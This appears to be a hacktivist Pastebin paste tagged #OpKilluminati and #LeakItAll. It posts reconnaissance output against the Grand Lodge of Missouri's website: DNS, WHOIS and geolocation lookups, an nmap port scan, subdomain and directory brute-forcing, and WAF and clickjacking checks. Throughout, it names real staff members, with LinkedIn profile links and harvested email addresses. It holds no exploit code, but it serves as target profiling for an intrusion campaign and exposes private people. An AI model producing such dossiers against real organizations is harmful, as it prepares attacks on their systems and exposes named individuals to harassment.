API tools faq
paste
PM2020_Anonymous

#OpKilluminati #PM2020 #ProjectMayhem #JACK #LeakItAll

PM2020_Anonymous
May 15th, 2020
241
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 253.55 KB | None | 0 0
raw download clone embed print report
  1. PR0JECTMAYHEM2020 #Solidarity [Anonymous JTSEC] - SAUCE
  2.  
  3. #OpKilluminati #PM2020 #ProjectMayhem #JACK
  4.  
  5.  
  6. #######################################################################################################################################
  7. =======================================================================================================================================
  8. Hostname momason.org ISP GoDaddy.com, LLC
  9. Continent North America Flag
  10. US
  11. Country United States Country Code US
  12. Region Arizona Local time 24 Apr 2020 12:41 MST
  13. City Scottsdale Postal Code 85260
  14. IP Address 45.40.155.175 Latitude 33.601
  15. Longitude -111.887
  16.  
  17. =======================================================================================================================================
  18. #######################################################################################################################################
  19. Target:http://momason.org/
  20. IP:45.40.155.175
  21. ######################################################################################################################################
  22. > set type=A
  23. > momason.org
  24. Server: 10.101.0.243
  25. Address: 10.101.0.243#53
  26.  
  27. Non-authoritative answer:
  28. Name: momason.org
  29. Address: 45.40.155.175
  30. > set type=NS
  31. > momason.org
  32. Server: 10.101.0.243
  33. Address: 10.101.0.243#53
  34.  
  35. Non-authoritative answer:
  36. momason.org nameserver = ns94.worldnic.com.
  37. momason.org nameserver = ns93.worldnic.com.
  38.  
  39. Authoritative answers can be found from:
  40. > set type=MX
  41. > momason.org
  42. Server: 10.101.0.243
  43. Address: 10.101.0.243#53
  44.  
  45. Non-authoritative answer:
  46. momason.org mail exchanger = 0 momason-org.mail.protection.outlook.com.
  47.  
  48. Authoritative answers can be found from:
  49. >
  50. #####################################################################################################################################
  51. ; <<>> DiG 9.11.16-2-Debian <<>> trace momason.org any
  52. ;; global options: +cmd
  53. ;; Got answer:
  54. ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30639
  55. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  56.  
  57. ;; OPT PSEUDOSECTION:
  58. ; EDNS: version: 0, flags:; udp: 4096
  59. ;; QUESTION SECTION:
  60. ;trace. IN A
  61.  
  62. ;; AUTHORITY SECTION:
  63. . 549 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020042401 1800 900 604800 86400
  64.  
  65. ;; Query time: 155 msec
  66. ;; SERVER: 10.101.0.243#53(10.101.0.243)
  67. ;; WHEN: ven avr 24 16:35:21 EDT 2020
  68. ;; MSG SIZE rcvd: 109
  69.  
  70. ;; Got answer:
  71. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13812
  72. ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
  73.  
  74. ;; OPT PSEUDOSECTION:
  75. ; EDNS: version: 0, flags:; udp: 4096
  76. ;; QUESTION SECTION:
  77. ;momason.org. IN ANY
  78.  
  79. ;; ANSWER SECTION:
  80. momason.org. 3495 IN MX 0 momason-org.mail.protection.outlook.com.
  81. momason.org. 7051 IN NS ns94.worldnic.com.
  82. momason.org. 7051 IN NS ns93.worldnic.com.
  83.  
  84. ;; Query time: 119 msec
  85. ;; SERVER: 10.101.0.243#53(10.101.0.243)
  86. ;; WHEN: ven avr 24 16:35:21 EDT 2020
  87. ;; MSG SIZE rcvd: 142
  88.  
  89. #####################################################################################################################################
  90. Domain Name: MOMASON.ORG
  91. Registry Domain ID: D2325721-LROR
  92. Registrar WHOIS Server: whois.networksolutions.com
  93. Registrar URL: http://www.networksolutions.com
  94. Updated Date: 2018-01-13T17:53:11Z
  95. Creation Date: 1998-11-02T05:00:00Z
  96. Registry Expiry Date: 2022-11-01T05:00:00Z
  97. Registrar Registration Expiration Date:
  98. Registrar: Network Solutions, LLC
  99. Registrar IANA ID: 2
  100. Registrar Abuse Contact Email: [email protected]
  101. Registrar Abuse Contact Phone: +1.8003337680
  102. Reseller:
  103. Domain Status: ok https://icann.org/epp#ok
  104. Registrant Organization: Grand Lodge of Missouri, A.F. & A.M.
  105. Registrant State/Province: MO
  106. Registrant Country: US
  107. Name Server: NS93.WORLDNIC.COM
  108. Name Server: NS94.WORLDNIC.COM
  109. DNSSEC: unsigned
  110. #######################################################################################################################################
  111. [i] Scanning Site: http://momason.org
  112.  
  113.  
  114.  
  115. B A S I C I N F O
  116. ====================
  117.  
  118.  
  119. [+] Site Title: The Grand Lodge of Missouri
  120. [+] IP address: 45.40.155.175
  121. [+] Web Server: Could Not Detect
  122. [+] CMS: WordPress
  123. [+] Cloudflare: Not Detected
  124. [+] Robots File: Found
  125.  
  126. -------------[ contents ]----------------
  127. User-Agent: *
  128. Disallow:
  129.  
  130. -----------[end of contents]-------------
  131.  
  132.  
  133.  
  134. W H O I S L O O K U P
  135. ========================
  136.  
  137. Domain Name: MOMASON.ORG
  138. Registry Domain ID: D2325721-LROR
  139. Registrar WHOIS Server: whois.networksolutions.com
  140. Registrar URL: http://www.networksolutions.com
  141. Updated Date: 2018-01-13T17:53:11Z
  142. Creation Date: 1998-11-02T05:00:00Z
  143. Registry Expiry Date: 2022-11-01T05:00:00Z
  144. Registrar Registration Expiration Date:
  145. Registrar: Network Solutions, LLC
  146. Registrar IANA ID: 2
  147. Registrar Abuse Contact Email: [email protected]
  148. Registrar Abuse Contact Phone: +1.8003337680
  149. Reseller:
  150. Domain Status: ok https://icann.org/epp#ok
  151. Registrant Organization: Grand Lodge of Missouri, A.F. & A.M.
  152. Registrant State/Province: MO
  153. Registrant Country: US
  154. Name Server: NS93.WORLDNIC.COM
  155. Name Server: NS94.WORLDNIC.COM
  156. DNSSEC: unsigned
  157. URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)
  158. >>> Last update of WHOIS database: 2020-04-24T20:39:38Z <<<
  159.  
  160. For more information on Whois status codes, please visit https://icann.org/epp
  161.  
  162.  
  163.  
  164.  
  165.  
  166. G E O I P L O O K U P
  167. =========================
  168.  
  169. [i] IP Address: 45.40.155.175
  170. [i] Country: United States
  171. [i] State:
  172. [i] City:
  173. [i] Latitude: 37.751
  174. [i] Longitude: -97.822
  175.  
  176.  
  177.  
  178.  
  179. H T T P H E A D E R S
  180. =======================
  181.  
  182.  
  183. [i] HTTP/1.1 200 OK
  184. [i] X-XSS-Protection: 1; mode=block
  185. [i] X-Content-Type-Options: nosniff
  186. [i] Content-Type: text/html; charset=UTF-8
  187. [i] X-Cacheable: YES:Forced
  188. [i] Date: Fri, 24 Apr 2020 20:40:39 GMT
  189. [i] Age: 41908
  190. [i] Connection: close
  191. [i] Vary: Accept-Encoding, User-Agent
  192. [i] X-Cache: cached
  193. [i] X-Cache-Hit: HIT
  194. [i] X-Backend: all_requests
  195. [i] Accept-Ranges: none
  196.  
  197.  
  198.  
  199.  
  200. D N S L O O K U P
  201. ===================
  202.  
  203. momason.org. 7199 IN SOA NS93.WORLDNIC.COM. namehost.WORLDNIC.COM. 119020118 10800 3600 604800 3600
  204. momason.org. 7199 IN A 45.40.155.175
  205. momason.org. 3599 IN TXT "v=spf1 include:spf.protection.outlook.com -all"
  206. momason.org. 7199 IN NS NS93.WORLDNIC.COM.
  207. momason.org. 3599 IN MX 0 momason-org.mail.protection.outlook.COM.
  208. momason.org. 7199 IN NS ns94.WORLDNIC.COM.
  209.  
  210.  
  211.  
  212.  
  213. S U B N E T C A L C U L A T I O N
  214. ====================================
  215.  
  216. Address = 45.40.155.175
  217. Network = 45.40.155.175 / 32
  218. Netmask = 255.255.255.255
  219. Broadcast = not needed on Point-to-Point links
  220. Wildcard Mask = 0.0.0.0
  221. Hosts Bits = 0
  222. Max. Hosts = 1 (2^0 - 0)
  223. Host Range = { 45.40.155.175 - 45.40.155.175 }
  224.  
  225.  
  226.  
  227. N M A P P O R T S C A N
  228. ============================
  229.  
  230. Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-24 20:40 UTC
  231. Nmap scan report for momason.org (45.40.155.175)
  232. Host is up (0.070s latency).
  233. rDNS record for 45.40.155.175: ip-45-40-155-175.ip.secureserver.net
  234.  
  235. PORT STATE SERVICE
  236. 21/tcp filtered ftp
  237. 22/tcp open ssh
  238. 80/tcp open http
  239. 443/tcp open https
  240.  
  241. Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds
  242.  
  243.  
  244.  
  245. S U B - D O M A I N F I N D E R
  246. ==================================
  247.  
  248.  
  249. [i] Total Subdomains Found : 2
  250.  
  251. [+] Subdomain: www.momason.org
  252. [-] IP: 45.40.155.175
  253.  
  254. [+] Subdomain: my.momason.org
  255. [-] IP: 13.58.170.99
  256.  
  257.  
  258. ####################################################################################################################################
  259. [*] Users found: 26
  260. ---------------------
  261. Aaron Doenges - Video Editor
  262. Derrick Young - Lead Manager
  263. Eric Blevins - Network Analyst
  264. James Lowman
  265. Jason Jones
  266. Jeffrey Pennington
  267. Larry Keeley - Chairman
  268. MO MASON - Training Facilitator
  269. Mama Mason - Civil servant
  270. Mo Mason-Jones - Architecture Student
  271. Sebastian Jones
  272. Your search
  273. chris moser - clerk
  274. mo mason
  275. sly mo - Mason
  276.  
  277. [*] Links found: 10
  278. ---------------------
  279. https://www.linkedin.com/in/aaron-doenges-87aa823a
  280. https://www.linkedin.com/in/blevinseric
  281. https://www.linkedin.com/in/chris-moser-5a445118
  282. https://www.linkedin.com/in/derrickyoung
  283. https://www.linkedin.com/in/elaina-c-harris-a39569165
  284. https://www.linkedin.com/in/jameslowman
  285. https://www.linkedin.com/in/jason-jones-a20198153
  286. https://www.linkedin.com/in/jspennington11
  287. https://www.linkedin.com/in/larry-keeley-986150105
  288. https://www.linkedin.com/in/mo-mason-4b70518
  289.  
  290. [*] IPs found: 4
  291. -------------------
  292. 13.58.170.99
  293. 45.40.155.175
  294.  
  295. [*] Emails found: 9
  296. ----------------------
  297. [email protected]
  298. [email protected]
  299. [email protected]
  300. [email protected]
  301. [email protected]
  302. [email protected]
  303. [email protected]
  304. [email protected]
  305.  
  306. [*] Hosts found: 18
  307. ---------------------
  308. 2020www.momason.org:45.40.155.175
  309. dev.momason.org:45.40.155.175
  310. dev.momason.org:45.40.155.175
  311. momason.org:45.40.155.175
  312. momason.org:45.40.155.175
  313. momason.org:45.40.155.175
  314. my.momason.org:13.58.170.99
  315. my.momason.org:13.58.170.99
  316. my.momason.org:13.58.170.99
  317. my.momason.org:13.58.170.99
  318. my.momason.org:13.58.170.99
  319. www.momason.org:45.40.155.175
  320. www.momason.org:45.40.155.175
  321. www.momason.org:45.40.155.175
  322. www.momason.org:45.40.155.175
  323. www.my.momason.org:
  324. #####################################################################################################################################
  325. [*] Processing domain momason.org
  326. [*] Using system resolvers ['10.101.0.243', '192.168.0.1', '2001:18c0:121:6900:724f:b8ff:fefd:5b6a']
  327. [+] Getting nameservers
  328. 207.204.40.147 - ns93.worldnic.com
  329. 207.204.21.147 - ns94.worldnic.com
  330. [-] Zone transfer failed
  331.  
  332. [+] TXT records found
  333. "v=spf1 include:spf.protection.outlook.com -all"
  334.  
  335. [+] MX records found, added to target list
  336. 0 momason-org.mail.protection.outlook.com.
  337.  
  338. [+] Wildcard domain found - 45.40.155.175
  339. [*] Scanning momason.org for A records
  340. 52.97.232.200 - autodiscover.momason.org
  341. 52.97.189.72 - autodiscover.momason.org
  342. 52.97.189.104 - autodiscover.momason.org
  343. 52.97.186.120 - autodiscover.momason.org
  344. 20.190.129.168 - enterpriseregistration.momason.org
  345. 52.174.26.23 - enterpriseenrollment.momason.org
  346. 52.112.192.142 - lyncdiscover.momason.org
  347. 13.58.170.99 - my.momason.org
  348. 52.112.193.13 - sip.momason.org
  349. #######################################################################################################################################
  350. [*] Performing General Enumeration of Domain: momason.org
  351. [!] Wildcard resolution is enabled on this domain
  352. [!] It is resolving to 45.40.155.175
  353. [!] All queries will resolve to this address!!
  354. [-] DNSSEC is not configured for momason.org
  355. [*] SOA NS93.WORLDNIC.COM 207.204.40.147
  356. [*] NS ns93.worldnic.com 207.204.40.147
  357. [*] NS ns94.worldnic.com 207.204.21.147
  358. [*] MX momason-org.mail.protection.outlook.com 104.47.55.110
  359. [*] MX momason-org.mail.protection.outlook.com 104.47.70.110
  360. [*] A momason.org 45.40.155.175
  361. [*] Enumerating SRV Records
  362. [*] SRV _sipfederationtls._tcp.momason.org sipfed.online.lync.com 52.112.196.46 5061 1
  363. [*] SRV _sipfederationtls._tcp.momason.org sipfed.online.lync.com 2603:1027:0:2::b 5061 1
  364. [*] SRV _sip._tls.momason.org sipdir.online.lync.com 52.112.193.13 443 1
  365. [*] SRV _sip._tls.momason.org sipdir.online.lync.com 2603:1027:0:48::20 443 1
  366. [+] 4 Records Found
  367. #####################################################################################################################################
  368. [+] Target : http://momason.org
  369.  
  370. [+] IP Address : 45.40.155.175
  371.  
  372. [+] Headers :
  373.  
  374. [+] Content-Encoding : gzip
  375. [+] X-XSS-Protection : 1; mode=block
  376. [+] X-Content-Type-Options : nosniff
  377. [+] Content-Type : text/html; charset=UTF-8
  378. [+] X-Cacheable : YES:Forced
  379. [+] Content-Length : 14611
  380. [+] Date : Fri, 24 Apr 2020 21:27:39 GMT
  381. [+] Age : 44728
  382. [+] Vary : Accept-Encoding, User-Agent
  383. [+] X-Cache : cached
  384. [+] X-Cache-Hit : HIT
  385. [+] X-Backend : all_requests
  386. [+] Accept-Ranges : none
  387.  
  388. [!] SSL Certificate Information :
  389.  
  390. [-] SSL is not Present on Target URL...Skipping...
  391.  
  392. [!] Whois Lookup :
  393.  
  394. [+] asn_registry : arin
  395. [+] asn : 26496
  396. [+] asn_cidr : 45.40.152.0/22
  397. [+] asn_country_code : US
  398. [+] asn_date : 2015-02-13
  399. [+] query : 45.40.155.175
  400. [+] cidr : 45.40.128.0/18
  401. [+] name : GO-DADDY-COM-LLC
  402. [+] handle : NET-45-40-128-0-1
  403. [+] range : 45.40.128.0 - 45.40.191.255
  404. [+] description : GoDaddy.com LLC
  405. [+] country : US
  406. [+] state : AZ
  407. [+] city : Scottsdale
  408. [+] address : 14455 N Hayden Road Suite 226
  409. [+] postal_code : 85260
  410. [+] emails : ['[email protected]' '[email protected]']
  411. [+] created : 2015-02-13
  412. [+] updated : 2015-02-13
  413.  
  414. [!] Starting DNS Enumeration...
  415.  
  416. [+] momason.org. 7199 IN NS NS93.WORLDNIC.com.
  417. [+] momason.org. 3599 IN MX 0 momason-org.mail.protection.outlook.com.
  418. [+] momason.org. 7199 IN SOA NS93.WORLDNIC.com. namehost.WORLDNIC.com. 119020118 10800 3600 604800 3600
  419. [+] momason.org. 7199 IN NS ns94.worldnic.com.
  420. [+] momason.org. 7199 IN A 45.40.155.175
  421. [+] momason.org. 3599 IN TXT "v=spf1 include:spf.protection.outlook.com -all"
  422. [+] momason.org. 7199 IN NS ns93.worldnic.com.
  423. [+] momason.org. 1799 IN SOA NS93.WORLDNIC.COM. namehost.WORLDNIC.COM. 119020118 10800 3600 604800 3600
  424. [+] momason.org. 7199 IN NS ns94.WORLDNIC.com.
  425.  
  426. [-] DMARC Record Not Found!
  427.  
  428. [!] Starting Sub-Domain Enumeration...
  429.  
  430. [!] Requesting BuffOver
  431. [!] Requesting ThreadCrowd
  432. [!] Requesting crt.sh
  433. [!] Requesting AnubisDB
  434. [!] Requesting ThreatMiner
  435.  
  436. [+] Results :
  437.  
  438. [+] www.my.momason.org
  439. [+] www.momason.org
  440. [+] my.momason.org
  441. [+] 45.40.155.175
  442. [+] 13.58.170.99
  443. [+] dev.momason.org
  444.  
  445. [+] Total Found : 6
  446.  
  447. [+] Port : 33434
  448. [+] Timeout : 1.0
  449.  
  450. [!] Starting UDP Traceroute...
  451.  
  452. HOPS IP HOST
  453.  
  454. 1 10.203.2.1 _gateway
  455. 2 89.187.165.62 unn-89-187-165-62.cdn77.com
  456. 3 149.11.89.129 hu0-1-0-2.rcr51.b021037-0.zrh02.atlas.cogentco.com
  457. 4 130.117.50.182 be3591.ccr51.zrh02.atlas.cogentco.com
  458. 5 130.117.0.62 be3073.ccr22.muc03.atlas.cogentco.com
  459. 6 154.54.36.253 be2960.ccr42.fra03.atlas.cogentco.com
  460. 7 130.117.1.117 be3187.agr41.fra03.atlas.cogentco.com
  461. 8 130.117.14.198 telia.fra03.atlas.cogentco.com
  462. 9 62.115.114.90 ffm-bb2-link.telia.net
  463. 10 62.115.123.13 prs-bb3-link.telia.net
  464. 11 62.115.112.242 ash-bb2-link.telia.net
  465. 12 62.115.114.86 las-b24-link.telia.net
  466. 13 62.115.171.243 ae9.ibrsa0107-01.lax1.bb.godaddy.com
  467. 14 148.72.32.16 ip-148-72-32-16.ip.secureserver.net
  468. 15 184.168.0.69 be38.trmc0215-01.ars.mgmt.phx3.gdg
  469. 16 * * *
  470. 17 * * *
  471. 18 * * *
  472. 19 * * *
  473. 20 * * *
  474. 21 * * *
  475. 22 * * *
  476. 23 * * *
  477. 24 * * *
  478. 25 * * *
  479. 26 * * *
  480. 27 * * *
  481. 28 * * *
  482. 29 * * *
  483. 30 * * *
  484.  
  485. [!] Starting Port Scan...
  486.  
  487. [+] Testing Top 1000 Ports...
  488.  
  489. [+] 22 ssh
  490. [+] 80 http
  491. [+] 443 https
  492.  
  493. [!] Starting Crawler...
  494.  
  495. [+] Looking for robots.txt........[ Found ]
  496. [+] Extracting robots Links.......[ 0 ]
  497. [+] Looking for sitemap.xml.......[ Not Found ]
  498. [+] Extracting CSS Links..........[ 12 ]
  499. [+] Extracting Javascript Links...[ 12 ]
  500. [+] Extracting Internal Links.....[ 25 ]
  501. [+] Extracting External Links.....[ 7 ]
  502. [+] Extracting Images.............[ 7 ]
  503. [+] Crawling Sitemaps.............[ 0 ]
  504. [+] Crawling Javascripts..........[ 9 ]
  505.  
  506. [+] Total Unique Links Extracted : 72
  507.  
  508. [!] Starting Directory Search...
  509.  
  510. [+] Threads : 50
  511. [+] Timeout : 10.0
  512. [+] Wordlist : wordlists/dirb_common.txt
  513. [+] Allow Redirects : False
  514. [+] SSL Verification : True
  515. [+] DNS Servers : 1.1.1.1
  516.  
  517. [+] 200 | http://momason.org/
  518. [+] 403 | http://momason.org/.hta
  519. [+] 403 | http://momason.org/.htaccess
  520. [+] 403 | http://momason.org/.htpasswd
  521. [+] 301 | http://momason.org/0
  522. [+] 301 | http://momason.org/100
  523. [+] 301 | http://momason.org/15
  524. [+] 301 | http://momason.org/5
  525. [+] 301 | http://momason.org/50
  526. [+] 301 | http://momason.org/500
  527. [+] 301 | http://momason.org/6
  528. [+] 301 | http://momason.org/7
  529. [+] 301 | http://momason.org/8
  530. [+] 301 | http://momason.org/9
  531. [+] 301 | http://momason.org/a
  532. [+] 301 | http://momason.org/ad
  533. [+] 301 | http://momason.org/ar
  534. [+] 301 | http://momason.org/arrow
  535. [+] 301 | http://momason.org/atom
  536. [+] 301 | http://momason.org/b
  537. [+] 301 | http://momason.org/B
  538. [+] 301 | http://momason.org/bar
  539. [+] 301 | http://momason.org/be
  540. [+] 301 | http://momason.org/bea
  541. [+] 301 | http://momason.org/bo
  542. [+] 301 | http://momason.org/br
  543. [+] 301 | http://momason.org/c
  544. [+] 301 | http://momason.org/C
  545. [+] 301 | http://momason.org/ca
  546. [+] 301 | http://momason.org/cal
  547. [+] 301 | http://momason.org/calendar
  548. [+] 301 | http://momason.org/call
  549. [+] 301 | http://momason.org/can
  550. [+] 301 | http://momason.org/car
  551. [+] 301 | http://momason.org/cart
  552. [+] 301 | http://momason.org/ch
  553. [+] 301 | http://momason.org/chris
  554. [+] 301 | http://momason.org/cl
  555. [+] 301 | http://momason.org/co
  556. [+] 301 | http://momason.org/com
  557. [+] 301 | http://momason.org/comm
  558. [+] 301 | http://momason.org/comment-page-1
  559. [+] 301 | http://momason.org/comp
  560. [+] 301 | http://momason.org/con
  561. [+] 301 | http://momason.org/conf
  562. [+] 301 | http://momason.org/conference
  563. [+] 301 | http://momason.org/cont
  564. [+] 301 | http://momason.org/contact
  565. [+] 301 | http://momason.org/Contact
  566. [+] 301 | http://momason.org/cr
  567. [+] 301 | http://momason.org/d
  568. [+] 301 | http://momason.org/D
  569. [+] 301 | http://momason.org/da
  570. [+] 302 | http://momason.org/dashboard
  571. [+] 301 | http://momason.org/de
  572. [+] 301 | http://momason.org/demo
  573. [+] 301 | http://momason.org/dev
  574. [+] 301 | http://momason.org/devel
  575. [+] 301 | http://momason.org/develop
  576. [+] 301 | http://momason.org/development
  577. [+] 301 | http://momason.org/di
  578. [+] 301 | http://momason.org/dir
  579. [+] 301 | http://momason.org/disclaimer
  580. [+] 301 | http://momason.org/dist
  581. [+] 301 | http://momason.org/e
  582. [+] 301 | http://momason.org/E
  583. [+] 301 | http://momason.org/ear
  584. [+] 301 | http://momason.org/embed
  585. [+] 301 | http://momason.org/event
  586. [+] 301 | http://momason.org/f
  587. [+] 301 | http://momason.org/F
  588. [+] 301 | http://momason.org/fa
  589. [+] 302 | http://momason.org/favicon.ico
  590. [+] 301 | http://momason.org/feed
  591. [+] 301 | http://momason.org/for
  592. [+] 301 | http://momason.org/form
  593. [+] 301 | http://momason.org/forms
  594. [+] 301 | http://momason.org/fr
  595. [+] 301 | http://momason.org/g
  596. [+] 301 | http://momason.org/G
  597. [+] 301 | http://momason.org/ga
  598. [+] 301 | http://momason.org/gate
  599. [+] 301 | http://momason.org/gateway
  600. [+] 301 | http://momason.org/geo
  601. [+] 301 | http://momason.org/gl
  602. [+] 301 | http://momason.org/go
  603. [+] 301 | http://momason.org/gr
  604. [+] 301 | http://momason.org/h
  605. [+] 301 | http://momason.org/H
  606. [+] 301 | http://momason.org/hi
  607. [+] 301 | http://momason.org/hold
  608. [+] 301 | http://momason.org/holiday
  609. [+] 301 | http://momason.org/home
  610. [+] 301 | http://momason.org/Home
  611. [+] 301 | http://momason.org/hop
  612. [+] 301 | http://momason.org/hu
  613. [+] 301 | http://momason.org/i
  614. [+] 301 | http://momason.org/I
  615. [+] 301 | http://momason.org/in
  616. [+] 301 | http://momason.org/index.php
  617. [+] 301 | http://momason.org/install
  618. [+] 301 | http://momason.org/installation
  619. [+] 301 | http://momason.org/j
  620. [+] 301 | http://momason.org/J
  621. [+] 301 | http://momason.org/job
  622. [+] 301 | http://momason.org/jobs
  623. [+] 301 | http://momason.org/k
  624. [+] 301 | http://momason.org/lab
  625. [+] 301 | http://momason.org/lib
  626. [+] 200 | http://momason.org/license
  627. [+] 301 | http://momason.org/line
  628. [+] 301 | http://momason.org/link
  629. [+] 301 | http://momason.org/links
  630. [+] 301 | http://momason.org/Links
  631. [+] 301 | http://momason.org/list
  632. [+] 301 | http://momason.org/lists
  633. [+] 302 | http://momason.org/login
  634. [+] 301 | http://momason.org/m
  635. [+] 301 | http://momason.org/M
  636. [+] 301 | http://momason.org/ma
  637. [+] 301 | http://momason.org/mc
  638. [+] 301 | http://momason.org/me
  639. [+] 301 | http://momason.org/mem
  640. [+] 301 | http://momason.org/memo
  641. [+] 301 | http://momason.org/ml
  642. [+] 301 | http://momason.org/mo
  643. [+] 301 | http://momason.org/mount
  644. [+] 301 | http://momason.org/mt
  645. [+] 301 | http://momason.org/my
  646. [+] 301 | http://momason.org/n
  647. [+] 301 | http://momason.org/N
  648. [+] 301 | http://momason.org/ne
  649. [+] 301 | http://momason.org/new
  650. [+] 301 | http://momason.org/news
  651. [+] 301 | http://momason.org/News
  652. [+] 301 | http://momason.org/no
  653. [+] 301 | http://momason.org/o
  654. [+] 301 | http://momason.org/O
  655. [+] 301 | http://momason.org/of
  656. [+] 301 | http://momason.org/off
  657. [+] 301 | http://momason.org/office
  658. [+] 301 | http://momason.org/Office
  659. [+] 301 | http://momason.org/order
  660. [+] 301 | http://momason.org/os
  661. [+] 301 | http://momason.org/p
  662. [+] 301 | http://momason.org/P
  663. [+] 301 | http://momason.org/pa
  664. [+] 301 | http://momason.org/page1
  665. [+] 301 | http://momason.org/page2
  666. [+] 301 | http://momason.org/past
  667. [+] 301 | http://momason.org/pg
  668. [+] 301 | http://momason.org/photo
  669. [+] 403 | http://momason.org/php.ini
  670. [+] 301 | http://momason.org/pl
  671. [+] 301 | http://momason.org/pol
  672. [+] 301 | http://momason.org/pop
  673. [+] 301 | http://momason.org/pr
  674. [+] 301 | http://momason.org/pre
  675. [+] 301 | http://momason.org/pro
  676. [+] 301 | http://momason.org/prog
  677. [+] 301 | http://momason.org/program
  678. [+] 301 | http://momason.org/programs
  679. [+] 301 | http://momason.org/pub
  680. [+] 301 | http://momason.org/public
  681. [+] 301 | http://momason.org/r
  682. [+] 301 | http://momason.org/R
  683. [+] 301 | http://momason.org/rdf
  684. [+] 200 | http://momason.org/readme
  685. [+] 301 | http://momason.org/red
  686. [+] 301 | http://momason.org/reg
  687. [+] 301 | http://momason.org/region
  688. [+] 301 | http://momason.org/regional
  689. [+] 301 | http://momason.org/res
  690. [+] 301 | http://momason.org/resource
  691. [+] 301 | http://momason.org/resources
  692. [+] 301 | http://momason.org/Resources
  693. [+] 301 | http://momason.org/ro
  694. [+] 200 | http://momason.org/robots
  695. [+] 200 | http://momason.org/robots.txt
  696. [+] 301 | http://momason.org/rss
  697. [+] 301 | http://momason.org/rss2
  698. [+] 301 | http://momason.org/s
  699. [+] 301 | http://momason.org/S
  700. [+] 301 | http://momason.org/sa
  701. [+] 301 | http://momason.org/sale
  702. [+] 301 | http://momason.org/sam
  703. [+] 301 | http://momason.org/sc
  704. [+] 301 | http://momason.org/school
  705. [+] 301 | http://momason.org/se
  706. [+] 301 | http://momason.org/sec
  707. [+] 301 | http://momason.org/secret
  708. [+] 301 | http://momason.org/sh
  709. [+] 301 | http://momason.org/si
  710. [+] 301 | http://momason.org/sm
  711. [+] 301 | http://momason.org/so
  712. [+] 301 | http://momason.org/sp
  713. [+] 301 | http://momason.org/spec
  714. [+] 301 | http://momason.org/special
  715. [+] 301 | http://momason.org/ss
  716. [+] 301 | http://momason.org/st
  717. [+] 301 | http://momason.org/stock
  718. [+] 301 | http://momason.org/sw
  719. [+] 301 | http://momason.org/t
  720. [+] 301 | http://momason.org/T
  721. [+] 301 | http://momason.org/table
  722. [+] 301 | http://momason.org/te
  723. [+] 301 | http://momason.org/temp
  724. [+] 301 | http://momason.org/TEMP
  725. [+] 301 | http://momason.org/th
  726. [+] 301 | http://momason.org/thanks
  727. [+] 301 | http://momason.org/time
  728. [+] 301 | http://momason.org/u
  729. [+] 301 | http://momason.org/U
  730. [+] 301 | http://momason.org/union
  731. [+] 301 | http://momason.org/v
  732. [+] 301 | http://momason.org/V
  733. [+] 301 | http://momason.org/ver
  734. [+] 301 | http://momason.org/w
  735. [+] 301 | http://momason.org/W
  736. [+] 301 | http://momason.org/wa
  737. [+] 301 | http://momason.org/web
  738. [+] 301 | http://momason.org/wp-admin
  739. [+] 301 | http://momason.org/wp-content
  740. [+] 301 | http://momason.org/wp-includes
  741. [+] 301 | http://momason.org/y
  742.  
  743. [+] Directories Found : 225
  744. [+] Directories Skipped : 4389
  745. [+] Total Requests : 4614
  746. #####################################################################################################################################
  747. [+] Starting At 2020-04-24 17:32:32.507965
  748. [+] Collecting Information On: http://momason.org/
  749. [#] Status: 200
  750. --------------------------------------------------
  751. [!] X-Frame-Options Headers not detect! target might be vulnerable Click Jacking
  752. [+] Xss Protection Detected !
  753. - Content-Encoding: gzip
  754. - X-XSS-Protection: 1; mode=block
  755. - X-Content-Type-Options: nosniff
  756. - Content-Type: text/html; charset=UTF-8
  757. - X-Cacheable: YES:Forced
  758. - Content-Length: 14611
  759. - Date: Fri, 24 Apr 2020 21:32:31 GMT
  760. - Age: 45020
  761. - Vary: Accept-Encoding, User-Agent
  762. - X-Cache: cached
  763. - X-Cache-Hit: HIT
  764. - X-Backend: all_requests
  765. - Accept-Ranges: none
  766. --------------------------------------------------
  767. [#] Finding Location..!
  768. [#] status: success
  769. [#] country: United States
  770. [#] countryCode: US
  771. [#] region: AZ
  772. [#] regionName: Arizona
  773. [#] city: Scottsdale
  774. [#] zip: 85260
  775. [#] lat: 33.6173
  776. [#] lon: -111.905
  777. [#] timezone: America/Phoenix
  778. [#] isp: GoDaddy.com, LLC
  779. [#] org: GoDaddy.com, LLC
  780. [#] as: AS26496 GoDaddy.com, LLC
  781. [#] query: 45.40.155.175
  782. --------------------------------------------------
  783. [x] Didn't Detect WAF Presence on: http://momason.org/
  784. --------------------------------------------------
  785. [#] Starting Reverse DNS
  786. [!] Found 55 any Domain
  787. - 490biotech.com
  788. - barracuda.com.co
  789. - bhojpurixp.com
  790. - canal44.com
  791. - casestatus.com
  792. - computerhelp.com
  793. - dans360.com
  794. - eighthandmaingym.com
  795. - envisionleadgrow.com
  796. - faceitforbeauty.com
  797. - filminflorida.com
  798. - flboxerangels.org
  799. - frescony.com
  800. - galaxywire.com
  801. - high-speed-satellite-internet.com
  802. - hollywoodmailstore.com
  803. - influencer.uk
  804. - ip-45-40-155-175.ip.secureserver.net
  805. - jasminewalt.com
  806. - laughatbeauty.com
  807. - mammothweather.com
  808. - martiniglesias.info
  809. - mljadoptions.com
  810. - mocean.digital
  811. - momason.org
  812. - mortgagefraudexaminers.com
  813. - mtlgraphicdesign.com
  814. - nanamodaonline.com
  815. - psychicallentownpa.com
  816. - reading2success.com
  817. - residencestyle.com
  818. - rupeetricks.in
  819. - sarahhutchings.com.au
  820. - sitiosaojorge.com.br
  821. - smilesbyeddie.com
  822. - smokesessionsrecords.com
  823. - stimwrx.com
  824. - texasstateroofing.com
  825. - thebirthhouse.com.au
  826. - theteeds.com
  827. - vancouverextendedstay.com
  828. - wellnessbells.com
  829. - www.atilalemos.com.br
  830. - www.atlasphones.com
  831. - www.canal44.com
  832. - www.envisionleadgrow.com
  833. - www.kampusmedan.com
  834. - www.lokhandwalapuja.com
  835. - www.moonwaitingvip.com
  836. - www.olist.com
